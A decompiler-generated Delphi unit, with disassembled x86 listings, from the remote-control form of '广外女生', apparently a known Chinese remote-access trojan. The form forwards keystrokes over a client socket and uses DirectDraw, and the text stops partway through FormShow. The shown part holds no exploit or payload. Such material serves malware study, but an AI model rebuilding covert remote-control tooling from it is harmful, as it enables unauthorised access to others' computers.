unit2.pas

广外女生的源程序.远程控制程序.具有一定的研究价值.适合阅读

unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, ExtCtrls, ScktComp;

type
  TForm2=class(TForm)
    Image1: TImage;
    Client2: TClientSocket;
    Timer1: TTimer;
    procedure Client2Connect(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
    procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
    procedure FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
    procedure FormShow(Sender: TObject);
    procedure Image1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
    procedure Image1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  Form2: TForm2;


{This file is generated by DeDe v1.06 (c) 1999 by DaFixer}

implementation

{$R *.DFM}


procedure TForm2.Client2Connect(Sender: TObject; Socket: TCustomWinSocket);
begin
{
0048A570   8B80D4020000           mov     eax, [eax+$02D4]
0048A576   8B8080000000           mov     eax, [eax+$0080]
0048A57C   BA90A54800             mov     edx, $0048A590
0048A581   E8D65AFEFF             call    0047005C
0048A586   C3                     ret


}
 end ; 

procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
{
0048A424   53                     push    ebx
0048A425   8BD8                   mov     ebx, eax
0048A427   8B83E8020000           mov     eax, [ebx+$02E8]
0048A42D   50                     push    eax
0048A42E   8B00                   mov     eax, [eax]
0048A430   FF504C                 call    dword ptr [eax+$4C]
0048A433   33D2                   xor     edx, edx
0048A435   8B83D8020000           mov     eax, [ebx+$02D8]
0048A43B   E8F85DFCFF             call    00450238
0048A440   A1B4564900             mov     eax, dword ptr [$4956B4]
0048A445   8B00                   mov     eax, [eax]
0048A447   8B80EC020000           mov     eax, [eax+$02EC]
0048A44D   33D2                   xor     edx, edx
0048A44F   E84463FEFF             call    00470798
0048A454   5B                     pop     ebx
0048A455   C3                     ret


}
 end ; 

procedure TForm2.FormCreate(Sender: TObject);
begin
{
0048A458   53                     push    ebx
0048A459   56                     push    esi
0048A45A   8BD8                   mov     ebx, eax
0048A45C   83BBE802000000         cmp     dword ptr [ebx+$02E8], +$00
0048A463   7510                   jnz     0048A475
0048A465   6A00                   push    $00
0048A467   8D83E8020000           lea     eax, [ebx+$02E8]
0048A46D   50                     push    eax
0048A46E   6A00                   push    $00

* Reference to: ddraw.DirectDrawCreate
|
0048A470   E883FCFFFF             call    0048A0F8
0048A475   6A13                   push    $13
0048A477   8BC3                   mov     eax, ebx
0048A479   E862ACFAFF             call    004350E0
0048A47E   50                     push    eax
0048A47F   8B83E8020000           mov     eax, [ebx+$02E8]
0048A485   50                     push    eax
0048A486   8B00                   mov     eax, [eax]
0048A488   FF5050                 call    dword ptr [eax+$50]
0048A48B   8BB3D0020000           mov     esi, [ebx+$02D0]
0048A491   A1A4A44800             mov     eax, dword ptr [$48A4A4]
0048A496   F7D0                   not     eax 
0048A498   234640                 and     eax, [esi+$40]
0048A49B   894640                 mov     [esi+$40], eax
0048A49E   5E                     pop     esi
0048A49F   5B                     pop     ebx
0048A4A0   C3                     ret


}
 end ; 

procedure TForm2.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
{
0048A684   55                     push    ebp
0048A685   8BEC                   mov     ebp, esp
0048A687   53                     push    ebx
0048A688   80B8E402000000         cmp     byte ptr [eax+$02E4], $00
0048A68F   7458                   jz      0048A6E9
0048A691   8B90D4020000           mov     edx, [eax+$02D4]
0048A697   807A2400               cmp     byte ptr [edx+$24], $00
0048A69B   750B                   jnz     0048A6A8
0048A69D   8BC2                   mov     eax, edx
0048A69F   B201                   mov     dl, $01
0048A6A1   E8F260FEFF             call    00470798
0048A6A6   EB41                   jmp     0048A6E9
0048A6A8   8D90DC020000           lea     edx, [eax+$02DC]
0048A6AE   33DB                   xor     ebx, ebx
0048A6B0   891A                   mov     [edx], ebx
0048A6B2   668B11                 mov     dx, word ptr [ecx]
0048A6B5   8890E0020000           mov     [eax+$02E0], dl
0048A6BB   C680E102000000         mov     byte ptr [eax+$02E1], $00
0048A6C2   8D90E2020000           lea     edx, [eax+$02E2]
0048A6C8   66C7020000             mov     word ptr [edx], $0000
0048A6CD   8D90DC020000           lea     edx, [eax+$02DC]
0048A6D3   8B80D4020000           mov     eax, [eax+$02D4]
0048A6D9   8B8080000000           mov     eax, [eax+$0080]
0048A6DF   B908000000             mov     ecx, $00000008
0048A6E4   E84B5BFEFF             call    00470234
0048A6E9   5B                     pop     ebx
0048A6EA   5D                     pop     ebp
0048A6EB   C204                   ret     $04


}
 end ; 

procedure TForm2.FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
{
0048A6F0   55                     push    ebp
0048A6F1   8BEC                   mov     ebp, esp
0048A6F3   53                     push    ebx
0048A6F4   80B8E402000000         cmp     byte ptr [eax+$02E4], $00
0048A6FB   7458                   jz      0048A755
0048A6FD   8B90D4020000           mov     edx, [eax+$02D4]
0048A703   807A2400               cmp     byte ptr [edx+$24], $00
0048A707   750B                   jnz     0048A714
0048A709   8BC2                   mov     eax, edx
0048A70B   B201                   mov     dl, $01
0048A70D   E88660FEFF             call    00470798
0048A712   EB41                   jmp     0048A755
0048A714   8D90DC020000           lea     edx, [eax+$02DC]
0048A71A   33DB                   xor     ebx, ebx
0048A71C   891A                   mov     [edx], ebx
0048A71E   668B11                 mov     dx, word ptr [ecx]
0048A721   8890E0020000           mov     [eax+$02E0], dl
0048A727   8D90E1020000           lea     edx, [eax+$02E1]
0048A72D   66C7020200             mov     word ptr [edx], $0002
0048A732   C680E302000000         mov     byte ptr [eax+$02E3], $00
0048A739   8D90DC020000           lea     edx, [eax+$02DC]
0048A73F   8B80D4020000           mov     eax, [eax+$02D4]
0048A745   8B8080000000           mov     eax, [eax+$0080]
0048A74B   B908000000             mov     ecx, $00000008
0048A750   E8DF5AFEFF             call    00470234
0048A755   5B                     pop     ebx
0048A756   5D                     pop     ebp
0048A757   C204                   ret     $04


}
 end ; 

procedure TForm2.FormShow(Sender: TObject);
begin
{
0048A36C   53                     push    ebx
0048A36D   8BD8                   mov     ebx, eax
0048A36F   6A10                   push    $10